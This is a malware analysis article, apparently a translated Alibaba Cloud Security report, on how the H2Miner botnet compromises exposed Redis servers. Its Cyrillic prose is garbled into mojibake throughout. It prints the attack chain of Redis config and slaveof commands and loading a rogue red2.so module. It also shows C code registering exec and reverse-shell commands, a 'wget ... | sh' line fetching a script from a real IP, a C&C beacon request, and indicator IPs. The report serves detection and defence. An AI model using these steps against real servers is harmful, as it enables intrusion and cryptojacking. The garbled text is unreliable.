ΠΡΠ΅Π΄ΠΈ Π΄Π΅Π½ Π΅Π΄ΠΈΠ½ ΠΎΡ ΡΡΡΠ²ΡΡΠΈΡΠ΅ Π½Π° ΠΌΠΎΡ ΠΏΡΠΎΠ΅ΠΊΡ Π±Π΅ΡΠ΅ Π°ΡΠ°ΠΊΡΠ²Π°Π½ ΠΎΡ ΠΏΠΎΠ΄ΠΎΠ±Π΅Π½ ΡΠ΅ΡΠ²Π΅ΠΉ. Π ΡΡΡΡΠ΅Π½Π΅ Π½Π° ΠΎΡΠ³ΠΎΠ²ΠΎΡ Π½Π° Π²ΡΠΏΡΠΎΡΠ° "ΠΊΠ°ΠΊΠ²ΠΎ Π±Π΅ΡΠ΅ ΡΠΎΠ²Π°?" ΠΠ°ΠΌΠ΅ΡΠΈΡ ΡΡΡΠ°Ρ ΠΎΡΠ½Π° ΡΡΠ°ΡΠΈΡ ΠΎΡ Π΅ΠΊΠΈΠΏΠ° Π½Π° Alibaba Cloud Security. Π’ΡΠΉ ΠΊΠ°ΡΠΎ Π½Π΅ Π½Π°ΠΌΠ΅ΡΠΈΡ ΡΠ°Π·ΠΈ ΡΡΠ°ΡΠΈΡ Π½Π° Π₯Π°Π±ΡΠ΅, ΡΠ΅ΡΠΈΡ Π΄Π° Ρ ΠΏΡΠ΅Π²Π΅Π΄Π° ΡΠΏΠ΅ΡΠΈΠ°Π»Π½ΠΎ Π·Π° Π²Π°Ρ <3
ΠΠ»ΠΈΠ·Π°Π½Π΅
ΠΠ°ΡΠΊΠΎΡΠΎ Π΅ΠΊΠΈΠΏΡΡ ΠΏΠΎ ΡΠΈΠ³ΡΡΠ½ΠΎΡΡΡΠ° Π½Π° Alibaba Cloud ΠΎΡΠΊΡΠΈ Π²Π½Π΅Π·Π°ΠΏΠ½ΠΎ ΠΈΠ·Π±ΡΡ Π²Π°Π½Π΅ Π½Π° H2Miner. Π’ΠΎΠ·ΠΈ ΡΠΈΠΏ Π·Π»ΠΎΠ½Π°ΠΌΠ΅ΡΠ΅Π½ ΡΠ΅ΡΠ²Π΅ΠΉ ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π° Π»ΠΈΠΏΡΠ°ΡΠ° Π½Π° ΠΎΡΠΎΡΠΈΠ·Π°ΡΠΈΡ ΠΈΠ»ΠΈ ΡΠ»Π°Π±ΠΈ ΠΏΠ°ΡΠΎΠ»ΠΈ Π·Π° Redis ΠΊΠ°ΡΠΎ ΡΠ»ΡΠ·ΠΎΠ²Π΅ ΠΊΡΠΌ Π²Π°ΡΠΈΡΠ΅ ΡΠΈΡΡΠ΅ΠΌΠΈ, ΡΠ»Π΅Π΄ ΠΊΠΎΠ΅ΡΠΎ ΡΠΈΠ½Ρ ΡΠΎΠ½ΠΈΠ·ΠΈΡΠ° ΡΠΎΠ±ΡΡΠ²Π΅Π½ΠΈΡ ΡΠΈ Π·Π»ΠΎΠ½Π°ΠΌΠ΅ΡΠ΅Π½ ΠΌΠΎΠ΄ΡΠ» Ρ ΠΏΠΎΠ΄ΡΠΈΠ½Π΅Π½ΠΈΡ ΡΡΠ΅Π· ΡΠΈΠ½Ρ ΡΠΎΠ½ΠΈΠ·Π°ΡΠΈΡ Π³Π»Π°Π²Π΅Π½-ΠΏΠΎΠ΄ΡΠΈΠ½Π΅Π½ ΠΈ Π½Π°ΠΊΡΠ°Ρ ΠΈΠ·ΡΠ΅Π³Π»Ρ ΡΠΎΠ·ΠΈ Π·Π»ΠΎΠ½Π°ΠΌΠ΅ΡΠ΅Π½ ΠΌΠΎΠ΄ΡΠ» Π½Π° Π°ΡΠ°ΠΊΡΠ²Π°Π½Π°ΡΠ° ΠΌΠ°ΡΠΈΠ½Π° ΠΈ ΠΈΠ·ΠΏΡΠ»Π½ΡΠ²Π° Π·Π»ΠΎΠ½Π°ΠΌΠ΅ΡΠ΅Π½ ΠΈΠ½ΡΡΡΡΠΊΡΠΈΠΈ.
Π ΠΌΠΈΠ½Π°Π»ΠΎΡΠΎ Π°ΡΠ°ΠΊΠΈΡΠ΅ ΡΡΠ΅ΡΡ Π²Π°ΡΠΈΡΠ΅ ΡΠΈΡΡΠ΅ΠΌΠΈ ΡΠ° Π±ΠΈΠ»ΠΈ ΠΈΠ·Π²ΡΡΡΠ²Π°Π½ΠΈ ΠΏΡΠ΅Π΄ΠΈΠΌΠ½ΠΎ ΡΡΠ΅Π· ΠΌΠ΅ΡΠΎΠ΄, Π²ΠΊΠ»ΡΡΠ²Π°Ρ ΠΏΠ»Π°Π½ΠΈΡΠ°Π½ΠΈ Π·Π°Π΄Π°ΡΠΈ ΠΈΠ»ΠΈ SSH ΠΊΠ»ΡΡΠΎΠ²Π΅, ΠΊΠΎΠΈΡΠΎ ΡΠ° Π±ΠΈΠ»ΠΈ Π·Π°ΠΏΠΈΡΠ°Π½ΠΈ Π½Π° Π²Π°ΡΠ°ΡΠ° ΠΌΠ°ΡΠΈΠ½Π°, ΡΠ»Π΅Π΄ ΠΊΠ°ΡΠΎ Π°ΡΠ°ΠΊΡΠ²Π°ΡΠΈΡΡ Π΅ Π²Π»ΡΠ·ΡΠ» Π² Redis. ΠΠ° ΡΠ°ΡΡΠΈΠ΅ ΡΠΎΠ·ΠΈ ΠΌΠ΅ΡΠΎΠ΄ Π½Π΅ ΠΌΠΎΠΆΠ΅ Π΄Π° ΡΠ΅ ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π° ΡΠ΅ΡΡΠΎ ΠΏΠΎΡΠ°Π΄ΠΈ ΠΏΡΠΎΠ±Π»Π΅ΠΌΠΈ Ρ ΠΊΠΎΠ½ΡΡΠΎΠ»Π° Π½Π° ΡΠ°Π·ΡΠ΅ΡΠ΅Π½ΠΈΡΡΠ° ΠΈΠ»ΠΈ ΠΏΠΎΡΠ°Π΄ΠΈ ΡΠ°Π·Π»ΠΈΡΠ½ΠΈ Π²Π΅ΡΡΠΈΠΈ Π½Π° ΡΠΈΡΡΠ΅ΠΌΠ°ΡΠ°. ΠΡΠΏΡΠ΅ΠΊΠΈ ΡΠΎΠ²Π°, ΡΠΎΠ·ΠΈ ΠΌΠ΅ΡΠΎΠ΄ Π·Π° Π·Π°ΡΠ΅ΠΆΠ΄Π°Π½Π΅ Π½Π° Π·Π»ΠΎΠ½Π°ΠΌΠ΅ΡΠ΅Π½ ΠΌΠΎΠ΄ΡΠ» ΠΌΠΎΠΆΠ΅ Π΄ΠΈΡΠ΅ΠΊΡΠ½ΠΎ Π΄Π° ΠΈΠ·ΠΏΡΠ»Π½ΠΈ ΠΊΠΎΠΌΠ°Π½Π΄ΠΈΡΠ΅ Π½Π° Π°ΡΠ°ΠΊΡΠ²Π°ΡΠΈΡ ΠΈΠ»ΠΈ Π΄Π° ΠΏΠΎΠ»ΡΡΠΈ Π΄ΠΎΡΡΡΠΏ Π΄ΠΎ ΠΎΠ±Π²ΠΈΠ²ΠΊΠ°ΡΠ°, ΠΊΠΎΠ΅ΡΠΎ Π΅ ΠΎΠΏΠ°ΡΠ½ΠΎ Π·Π° Π²Π°ΡΠ°ΡΠ° ΡΠΈΡΡΠ΅ΠΌΠ°.
ΠΠΎΡΠ°Π΄ΠΈ Π³ΠΎΠ»Π΅ΠΌΠΈΡ Π±ΡΠΎΠΉ Redis ΡΡΡΠ²ΡΡΠΈ, Ρ ΠΎΡΡΠ²Π°Π½ΠΈ Π² ΠΠ½ΡΠ΅ΡΠ½Π΅Ρ (Π±Π»ΠΈΠ·ΠΎ 1 ΠΌΠΈΠ»ΠΈΠΎΠ½), Π΅ΠΊΠΈΠΏΡΡ ΠΏΠΎ ΡΠΈΠ³ΡΡΠ½ΠΎΡΡΡΠ° Π½Π° Alibaba Cloud, ΠΊΠ°ΡΠΎ ΠΏΡΠΈΡΡΠ΅Π»ΡΠΊΠΎ Π½Π°ΠΏΠΎΠΌΠ½ΡΠ½Π΅, ΠΏΡΠ΅ΠΏΠΎΡΡΡΠ²Π° Π½Π° ΠΏΠΎΡΡΠ΅Π±ΠΈΡΠ΅Π»ΠΈΡΠ΅ Π΄Π° Π½Π΅ ΡΠΏΠΎΠ΄Π΅Π»ΡΡ Redis ΠΎΠ½Π»Π°ΠΉΠ½ ΠΈ ΡΠ΅Π΄ΠΎΠ²Π½ΠΎ Π΄Π° ΠΏΡΠΎΠ²Π΅ΡΡΠ²Π°Ρ ΡΠΈΠ»Π°ΡΠ° Π½Π° ΡΠ²ΠΎΠΈΡΠ΅ ΠΏΠ°ΡΠΎΠ»ΠΈ ΠΈ Π΄Π°Π»ΠΈ ΡΠ° ΠΊΠΎΠΌΠΏΡΠΎΠΌΠ΅ΡΠΈΡΠ°Π½ΠΈ. Π±ΡΡΠ· ΠΈΠ·Π±ΠΎΡ.
H2Miner
H2Miner Π΅ Π±ΠΎΡΠ½Π΅Ρ Π·Π° ΠΊΠΎΠΏΠ°Π΅Π½Π΅ Π·Π° Linux-Π±Π°Π·ΠΈΡΠ°Π½ΠΈ ΡΠΈΡΡΠ΅ΠΌΠΈ, ΠΊΠΎΠΉΡΠΎ ΠΌΠΎΠΆΠ΅ Π΄Π° Π½Π°Ρ
Π»ΡΠ΅ Π²ΡΠ² Π²Π°ΡΠ°ΡΠ° ΡΠΈΡΡΠ΅ΠΌΠ° ΠΏΠΎ ΡΠ°Π·Π»ΠΈΡΠ½ΠΈ Π½Π°ΡΠΈΠ½ΠΈ, Π²ΠΊΠ»ΡΡΠΈΡΠ΅Π»Π½ΠΎ Π»ΠΈΠΏΡΠ° Π½Π° ΡΠ°Π·ΡΠ΅ΡΠ΅Π½ΠΈΠ΅ Π² ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΠΈΡΠ΅ Π½Π° Hadoop yarn, Docker ΠΈ Redis Π΄ΠΈΡΡΠ°Π½ΡΠΈΠΎΠ½Π½ΠΎ ΠΈΠ·ΠΏΡΠ»Π½Π΅Π½ΠΈΠ΅ Π½Π° ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ (RCE). ΠΠΎΡΠ½Π΅Ρ ΡΠ°Π±ΠΎΡΠΈ, ΠΊΠ°ΡΠΎ ΠΈΠ·ΡΠ΅Π³Π»Ρ Π·Π»ΠΎΠ½Π°ΠΌΠ΅ΡΠ΅Π½ΠΈ ΡΠΊΡΠΈΠΏΡΠΎΠ²Π΅ ΠΈ Π·Π»ΠΎΠ½Π°ΠΌΠ΅ΡΠ΅Π½ ΡΠΎΡΡΡΠ΅Ρ, Π·Π° Π΄Π° ΠΊΠΎΠΏΠ°Π΅ Π²Π°ΡΠΈΡΠ΅ Π΄Π°Π½Π½ΠΈ, Π΄Π° ΡΠ°Π·ΡΠΈΡΡΠ²Π° Π°ΡΠ°ΠΊΠ°ΡΠ° Ρ
ΠΎΡΠΈΠ·ΠΎΠ½ΡΠ°Π»Π½ΠΎ ΠΈ Π΄Π° ΠΏΠΎΠ΄Π΄ΡΡΠΆΠ° ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΈ ΠΈ ΠΊΠΎΠ½ΡΡΠΎΠ»Π½ΠΈ (C&C) ΠΊΠΎΠΌΡΠ½ΠΈΠΊΠ°ΡΠΈΠΈ.
Redis RCE
ΠΠ½Π°Π½ΠΈΡΡΠ° ΠΏΠΎ ΡΠ°Π·ΠΈ ΡΠ΅ΠΌΠ° Π±ΡΡ Π° ΡΠΏΠΎΠ΄Π΅Π»Π΅Π½ΠΈ ΠΎΡ ΠΠ°Π²Π΅Π» Π’ΠΎΠΏΠΎΡΠΊΠΎΠ² Π½Π° ZeroNights 2018. Π‘Π»Π΅Π΄ Π²Π΅ΡΡΠΈΡ 4.0 Redis ΠΏΠΎΠ΄Π΄ΡΡΠΆΠ° ΡΡΠ½ΠΊΡΠΈΡ Π·Π° Π·Π°ΡΠ΅ΠΆΠ΄Π°Π½Π΅ Π½Π° ΠΏΠ»ΡΠ³ΠΈΠ½ΠΈ, ΠΊΠΎΡΡΠΎ Π΄Π°Π²Π° Π½Π° ΠΏΠΎΡΡΠ΅Π±ΠΈΡΠ΅Π»ΠΈΡΠ΅ Π²ΡΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡΡΠ° Π΄Π° Π·Π°ΡΠ΅ΠΆΠ΄Π°Ρ ΡΠ°ΠΉΠ»ΠΎΠ²Π΅, ΠΊΠΎΠΌΠΏΠΈΠ»ΠΈΡΠ°Π½ΠΈ Ρ C Π² Redis, Π·Π° Π΄Π° ΠΈΠ·ΠΏΡΠ»Π½ΡΠ²Π°Ρ ΡΠΏΠ΅ΡΠΈΡΠΈΡΠ½ΠΈ ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ Π½Π° Redis. Π’Π°Π·ΠΈ ΡΡΠ½ΠΊΡΠΈΡ, ΠΌΠ°ΠΊΠ°Ρ ΠΈ ΠΏΠΎΠ»Π΅Π·Π½Π°, ΡΡΠ΄ΡΡΠΆΠ° ΡΡΠ·Π²ΠΈΠΌΠΎΡΡ, ΠΏΡΠΈ ΠΊΠΎΡΡΠΎ Π² ΡΠ΅ΠΆΠΈΠΌ master-slave, ΡΠ°ΠΉΠ»ΠΎΠ²Π΅ΡΠ΅ ΠΌΠΎΠ³Π°Ρ Π΄Π° ΡΠ΅ ΡΠΈΠ½Ρ ΡΠΎΠ½ΠΈΠ·ΠΈΡΠ°Ρ Ρ slave ΡΡΠ΅Π· ΡΠ΅ΠΆΠΈΠΌ full resync. Π’ΠΎΠ²Π° ΠΌΠΎΠΆΠ΅ Π΄Π° ΡΠ΅ ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π° ΠΎΡ Π½Π°ΠΏΠ°Π΄Π°ΡΠ΅Π» Π·Π° ΠΏΡΠ΅Ρ Π²ΡΡΠ»ΡΠ½Π΅ Π½Π° Π·Π»ΠΎΠ½Π°ΠΌΠ΅ΡΠ΅Π½ΠΈ ΡΠ°ΠΉΠ»ΠΎΠ²Π΅. Π‘Π»Π΅Π΄ ΠΊΠ°ΡΠΎ ΠΏΡΠ΅Ρ Π²ΡΡΠ»ΡΠ½Π΅ΡΠΎ ΠΏΡΠΈΠΊΠ»ΡΡΠΈ, Π½Π°ΠΏΠ°Π΄Π°ΡΠ΅Π»ΠΈΡΠ΅ Π·Π°ΡΠ΅ΠΆΠ΄Π°Ρ ΠΌΠΎΠ΄ΡΠ»Π° Π² Π°ΡΠ°ΠΊΡΠ²Π°Π½ΠΈΡ Π΅ΠΊΠ·Π΅ΠΌΠΏΠ»ΡΡ Π½Π° Redis ΠΈ ΠΈΠ·ΠΏΡΠ»Π½ΡΠ²Π°Ρ Π²ΡΡΠΊΠ° ΠΊΠΎΠΌΠ°Π½Π΄Π°.
ΠΠ½Π°Π»ΠΈΠ· Π½Π° Π·Π»ΠΎΠ²ΡΠ΅Π΄Π΅Π½ ΡΠΎΡΡΡΠ΅Ρ ΡΠ΅ΡΠ²Π΅ΠΉ
ΠΠ°ΡΠΊΠΎΡΠΎ Π΅ΠΊΠΈΠΏΡΡ Π·Π° ΡΠΈΠ³ΡΡΠ½ΠΎΡΡ Π½Π° Alibaba Cloud ΠΎΡΠΊΡΠΈ, ΡΠ΅ ΡΠ°Π·ΠΌΠ΅ΡΡΡ Π½Π° Π³ΡΡΠΏΠ°ΡΠ° Π·Π° Π·Π»ΠΎΠ½Π°ΠΌΠ΅ΡΠ΅Π½ΠΈ ΠΊΠΎΠΏΠ°ΡΠΈ H2Miner Π²Π½Π΅Π·Π°ΠΏΠ½ΠΎ ΡΠ΅ Π΅ ΡΠ²Π΅Π»ΠΈΡΠΈΠ» Π΄ΡΠ°ΡΡΠΈΡΠ½ΠΎ. Π‘ΠΏΠΎΡΠ΅Π΄ Π°Π½Π°Π»ΠΈΠ·Π° ΠΎΠ±ΡΠΈΡΡ ΠΏΡΠΎΡΠ΅Ρ Π½Π° Π²ΡΠ·Π½ΠΈΠΊΠ²Π°Π½Π΅ Π½Π° Π°ΡΠ°ΠΊΠ° Π΅ ΡΠ»Π΅Π΄Π½ΠΈΡΡ:
H2Miner ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π° RCE Redis Π·Π° ΠΏΡΠ»Π½ΠΎΡΠ΅Π½Π½Π° Π°ΡΠ°ΠΊΠ°. ΠΠ°ΠΏΠ°Π΄Π°ΡΠ΅Π»ΠΈΡΠ΅ ΠΏΡΡΠ²ΠΎ Π°ΡΠ°ΠΊΡΠ²Π°Ρ Π½Π΅Π·Π°ΡΠΈΡΠ΅Π½ΠΈ Redis ΡΡΡΠ²ΡΡΠΈ ΠΈΠ»ΠΈ ΡΡΡΠ²ΡΡΠΈ ΡΡΡ ΡΠ»Π°Π±ΠΈ ΠΏΠ°ΡΠΎΠ»ΠΈ.
Π‘Π»Π΅Π΄ ΡΠΎΠ²Π° ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Ρ ΠΊΠΎΠΌΠ°Π½Π΄Π°ΡΠ° config set dbfilename red2.so
Π·Π° Π΄Π° ΠΏΡΠΎΠΌΠ΅Π½ΠΈΡΠ΅ ΠΈΠΌΠ΅ΡΠΎ Π½Π° ΡΠ°ΠΉΠ»Π°. Π‘Π»Π΅Π΄ ΡΠΎΠ²Π° Π½Π°ΠΏΠ°Π΄Π°ΡΠ΅Π»ΠΈΡΠ΅ ΠΈΠ·ΠΏΡΠ»Π½ΡΠ²Π°Ρ ΠΊΠΎΠΌΠ°Π½Π΄Π°ΡΠ° slaveof
Π·Π° Π΄Π° Π·Π°Π΄Π°Π΄Π΅ΡΠ΅ Π°Π΄ΡΠ΅ΡΠ° Π½Π° Ρ
ΠΎΡΡΠ° Π·Π° ΡΠ΅ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΡ Π³Π»Π°Π²Π΅Π½-ΠΏΠΎΠ΄ΡΠΈΠ½Π΅Π½.
ΠΠΎΠ³Π°ΡΠΎ Π°ΡΠ°ΠΊΡΠ²Π°Π½ΠΈΡΡ Π΅ΠΊΠ·Π΅ΠΌΠΏΠ»ΡΡ Π½Π° Redis ΡΡΡΠ°Π½ΠΎΠ²ΠΈ Π²ΡΡΠ·ΠΊΠ° Π³Π»Π°Π²Π΅Π½-ΠΏΠΎΠ΄ΡΠΈΠ½Π΅Π½ ΡΡΡ Π·Π»ΠΎΠ½Π°ΠΌΠ΅ΡΠ΅Π½ΠΈΡ Redis, ΠΊΠΎΠΉΡΠΎ Π΅ ΡΠΎΠ±ΡΡΠ²Π΅Π½ΠΎΡΡ Π½Π° Π°ΡΠ°ΠΊΡΠ²Π°ΡΠΈΡ, Π°ΡΠ°ΠΊΡΠ²Π°ΡΠΈΡΡ ΠΈΠ·ΠΏΡΠ°ΡΠ° Π·Π°ΡΠ°Π·Π΅Π½ΠΈΡ ΠΌΠΎΠ΄ΡΠ» Ρ ΠΏΠΎΠΌΠΎΡΡΠ° Π½Π° ΠΊΠΎΠΌΠ°Π½Π΄Π°ΡΠ° fullresync Π·Π° ΡΠΈΠ½Ρ ΡΠΎΠ½ΠΈΠ·ΠΈΡΠ°Π½Π΅ Π½Π° ΡΠ°ΠΉΠ»ΠΎΠ²Π΅ΡΠ΅. Π‘Π»Π΅Π΄ ΡΠΎΠ²Π° ΡΠ°ΠΉΠ»ΡΡ red2.so ΡΠ΅ Π±ΡΠ΄Π΅ ΠΈΠ·ΡΠ΅Π³Π»Π΅Π½ Π½Π° Π°ΡΠ°ΠΊΡΠ²Π°Π½Π°ΡΠ° ΠΌΠ°ΡΠΈΠ½Π°. Π‘Π»Π΅Π΄ ΡΠΎΠ²Π° Π½Π°ΠΏΠ°Π΄Π°ΡΠ΅Π»ΠΈΡΠ΅ ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Ρ ΠΌΠΎΠ΄ΡΠ»Π° Π·Π° Π·Π°ΡΠ΅ΠΆΠ΄Π°Π½Π΅ ./red2.so, Π·Π° Π΄Π° Π·Π°ΡΠ΅Π΄ΡΡ ΡΠΎΠ·ΠΈ ΡΠ°ΠΉΠ» so. ΠΠΎΠ΄ΡΠ»ΡΡ ΠΌΠΎΠΆΠ΅ Π΄Π° ΠΈΠ·ΠΏΡΠ»Π½ΡΠ²Π° ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ ΠΎΡ Π½Π°ΠΏΠ°Π΄Π°ΡΠ΅Π» ΠΈΠ»ΠΈ Π΄Π° ΠΈΠ½ΠΈΡΠΈΠΈΡΠ° ΠΎΠ±ΡΠ°ΡΠ½Π° Π²ΡΡΠ·ΠΊΠ° (backdoor), Π·Π° Π΄Π° ΠΏΠΎΠ»ΡΡΠΈ Π΄ΠΎΡΡΡΠΏ Π΄ΠΎ Π°ΡΠ°ΠΊΡΠ²Π°Π½Π°ΡΠ° ΠΌΠ°ΡΠΈΠ½Π°.
if (RedisModule_CreateCommand(ctx, "system.exec",
DoCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)
return REDISMODULE_ERR;
if (RedisModule_CreateCommand(ctx, "system.rev",
RevShellCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)
return REDISMODULE_ERR;
Π‘Π»Π΅Π΄ ΠΈΠ·ΠΏΡΠ»Π½Π΅Π½ΠΈΠ΅ Π½Π° Π·Π»ΠΎΠ½Π°ΠΌΠ΅ΡΠ΅Π½Π° ΠΊΠΎΠΌΠ°Π½Π΄Π° ΠΊΠ°ΡΠΎ Π½Π°ΠΏΡ / bin / sh -c wget -q -O-http://195.3.146.118/unk.sh | sh> / dev / null 2> & 1
, Π½Π°ΠΏΠ°Π΄Π°ΡΠ΅Π»ΡΡ ΡΠ΅ Π½ΡΠ»ΠΈΡΠ° ΠΈΠΌΠ΅ΡΠΎ Π½Π° Π°ΡΡ
ΠΈΠ²Π½ΠΈΡ ΡΠ°ΠΉΠ» ΠΈ ΡΠ΅ ΡΠ°Π·ΡΠΎΠ²Π°ΡΠΈ ΡΠΈΡΡΠ΅ΠΌΠ½ΠΈΡ ΠΌΠΎΠ΄ΡΠ», Π·Π° Π΄Π° ΠΏΠΎΡΠΈΡΡΠΈ ΡΠ»Π΅Π΄ΠΈΡΠ΅. Π€Π°ΠΉΠ»ΡΡ red2.so ΠΎΠ±Π°ΡΠ΅ ΡΠ΅ ΠΎΡΡΠ°Π½Π΅ Π½Π° Π°ΡΠ°ΠΊΡΠ²Π°Π½Π°ΡΠ° ΠΌΠ°ΡΠΈΠ½Π°. ΠΠΎΡΡΠ΅Π±ΠΈΡΠ΅Π»ΠΈΡΠ΅ ΡΠ΅ ΡΡΠ²Π΅ΡΠ²Π°Ρ Π΄Π° ΠΎΠ±ΡΡΠ½Π°Ρ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ Π½Π° Π½Π°Π»ΠΈΡΠΈΠ΅ΡΠΎ Π½Π° ΡΠ°ΠΊΡΠ² ΠΏΠΎΠ΄ΠΎΠ·ΡΠΈΡΠ΅Π»Π΅Π½ ΡΠ°ΠΉΠ» Π² ΠΏΠ°ΠΏΠΊΠ°ΡΠ° Π½Π° ΡΡΡ
Π½ΠΎΡΠΎ ΠΊΠΎΠΏΠΈΠ΅ Π½Π° Redis.
Π Π΄ΠΎΠΏΡΠ»Π½Π΅Π½ΠΈΠ΅ ΠΊΡΠΌ ΡΠ±ΠΈΠ²Π°Π½Π΅ΡΠΎ Π½Π° Π½ΡΠΊΠΎΠΈ Π·Π»ΠΎΠ½Π°ΠΌΠ΅ΡΠ΅Π½ΠΈ ΠΏΡΠΎΡΠ΅ΡΠΈ, Π·Π° Π΄Π° ΠΎΡΠΊΡΠ°Π΄Π½Π΅ ΡΠ΅ΡΡΡΡΠΈ, Π½Π°ΠΏΠ°Π΄Π°ΡΠ΅Π»ΡΡ ΡΠ»Π΅Π΄Π²Π° Π·Π»ΠΎΠ½Π°ΠΌΠ΅ΡΠ΅Π½ ΡΠΊΡΠΈΠΏΡ, ΠΊΠ°ΡΠΎ ΠΈΠ·ΡΠ΅Π³Π»Ρ ΠΈ ΠΈΠ·ΠΏΡΠ»Π½ΡΠ²Π° Π·Π»ΠΎΠ½Π°ΠΌΠ΅ΡΠ΅Π½ΠΈ Π΄Π²ΠΎΠΈΡΠ½ΠΈ ΡΠ°ΠΉΠ»ΠΎΠ²Π΅ ΠΊΡΠΌ
Π‘ΠΏΠΎΡΠ΅Π΄ ΡΠ΅Π·ΡΠ»ΡΠ°ΡΠΈΡΠ΅ ΠΎΡ ΠΎΠ±ΡΠ°ΡΠ½ΠΎΡΠΎ ΠΈΠ½ΠΆΠ΅Π½Π΅ΡΡΡΠ²ΠΎ Π·Π»ΠΎΠ²ΡΠ΅Π΄Π½ΠΈΡΡ ΡΠΎΡΡΡΠ΅Ρ ΠΈΠ·ΠΏΡΠ»Π½ΡΠ²Π° ΠΎΡΠ½ΠΎΠ²Π½ΠΎ ΡΠ»Π΅Π΄Π½ΠΈΡΠ΅ ΡΡΠ½ΠΊΡΠΈΠΈ:
- ΠΠ°ΡΠ²Π°Π½Π΅ Π½Π° ΡΠ°ΠΉΠ»ΠΎΠ²Π΅ ΠΈ ΡΡΡ Π½ΠΎΡΠΎ ΠΈΠ·ΠΏΡΠ»Π½Π΅Π½ΠΈΠ΅
- ΠΠΈΠ½Π΅Π½
- ΠΠΎΠ΄Π΄ΡΡΠΆΠ°Π½Π΅ Π½Π° C&C ΠΊΠΎΠΌΡΠ½ΠΈΠΊΠ°ΡΠΈΡ ΠΈ ΠΈΠ·ΠΏΡΠ»Π½Π΅Π½ΠΈΠ΅ Π½Π° Π°ΡΠ°ΠΊΡΠ²Π°ΡΠΈ ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ
ΠΠ·ΠΏΠΎΠ»Π·Π²Π°ΠΉΡΠ΅ masscan Π·Π° Π²ΡΠ½ΡΠ½ΠΎ ΡΠΊΠ°Π½ΠΈΡΠ°Π½Π΅, Π·Π° Π΄Π° ΡΠ°Π·ΡΠΈΡΠΈΡΠ΅ Π²Π»ΠΈΡΠ½ΠΈΠ΅ΡΠΎ ΡΠΈ. Π Π΄ΠΎΠΏΡΠ»Π½Π΅Π½ΠΈΠ΅, IP Π°Π΄ΡΠ΅ΡΡΡ Π½Π° C&C ΡΡΡΠ²ΡΡΠ° Π΅ ΡΠ²ΡΡΠ΄ΠΎ ΠΊΠΎΠ΄ΠΈΡΠ°Π½ Π² ΠΏΡΠΎΠ³ΡΠ°ΠΌΠ°ΡΠ° ΠΈ Π°ΡΠ°ΠΊΡΠ²Π°Π½ΠΈΡΡ Ρ
ΠΎΡΡ ΡΠ΅ ΠΊΠΎΠΌΡΠ½ΠΈΠΊΠΈΡΠ° Ρ C&C ΠΊΠΎΠΌΡΠ½ΠΈΠΊΠ°ΡΠΈΠΎΠ½Π½ΠΈΡ ΡΡΡΠ²ΡΡ, ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°ΠΉΠΊΠΈ HTTP Π·Π°ΡΠ²ΠΊΠΈ, ΠΊΡΠ΄Π΅ΡΠΎ ΠΈΠ½ΡΠΎΡΠΌΠ°ΡΠΈΡΡΠ° Π·Π° Π·ΠΎΠΌΠ±ΠΈ (ΠΊΠΎΠΌΠΏΡΠΎΠΌΠ΅ΡΠΈΡΠ°Π½ ΡΡΡΠ²ΡΡ) ΡΠ΅ ΠΈΠ΄Π΅Π½ΡΠΈΡΠΈΡΠΈΡΠ° Π² HTTP Π·Π°Π³Π»Π°Π²ΠΊΠ°ΡΠ°.
GET /h HTTP/1.1
Host: 91.215.169.111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Arch: amd64
Cores: 2
Mem: 3944
Os: linux
Osname: debian
Osversion: 10.0
Root: false
S: k
Uuid: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxx
Version: 26
Accept-Encoding: gzip
ΠΡΡΠ³ΠΈ ΠΌΠ΅ΡΠΎΠ΄ΠΈ Π·Π° Π°ΡΠ°ΠΊΠ°
ΠΠ΄ΡΠ΅ΡΠΈ ΠΈ Π²ΡΡΠ·ΠΊΠΈ, ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Π½ΠΈ ΠΎΡ ΡΠ΅ΡΠ²Π΅Ρ
/ΡΡΠΎΠ΄ΡΡΠ²ΠΎ
β’ 142.44.191.122/t.sh
β’ 185.92.74.42/h.sh
β’ 142.44.191.122/spr.sh
β’ 142.44.191.122/spre.sh
β’ 195.3.146.118/unk.sh
s&c
β’ 45.10.88.102
β’ 91.215.169.111
β’ 139.99.50.255
β’ 46.243.253.167
β’ 195.123.220.193
ΡΡΠ²Π΅Ρ
ΠΡΡΠ²ΠΎ, Redis Π½Π΅ ΡΡΡΠ±Π²Π° Π΄Π° Π±ΡΠ΄Π΅ Π΄ΠΎΡΡΡΠΏΠ΅Π½ ΠΎΡ ΠΈΠ½ΡΠ΅ΡΠ½Π΅Ρ ΠΈ ΡΡΡΠ±Π²Π° Π΄Π° Π±ΡΠ΄Π΅ Π·Π°ΡΠΈΡΠ΅Π½ ΡΡΡ ΡΠΈΠ»Π½Π° ΠΏΠ°ΡΠΎΠ»Π°. Π‘ΡΡΠΎ ΡΠ°ΠΊΠ° Π΅ Π²Π°ΠΆΠ½ΠΎ ΠΊΠ»ΠΈΠ΅Π½ΡΠΈΡΠ΅ Π΄Π° ΠΏΡΠΎΠ²Π΅ΡΡΡ Π΄Π°Π»ΠΈ Π½ΡΠΌΠ° ΡΠ°ΠΉΠ» red2.so Π² Π΄ΠΈΡΠ΅ΠΊΡΠΎΡΠΈΡΡΠ° Π½Π° Redis ΠΈ ΡΠ΅ Π½ΡΠΌΠ° βkinsingβ Π² ΠΈΠΌΠ΅ΡΠΎ Π½Π° ΡΠ°ΠΉΠ»Π°/ΠΏΡΠΎΡΠ΅ΡΠ° 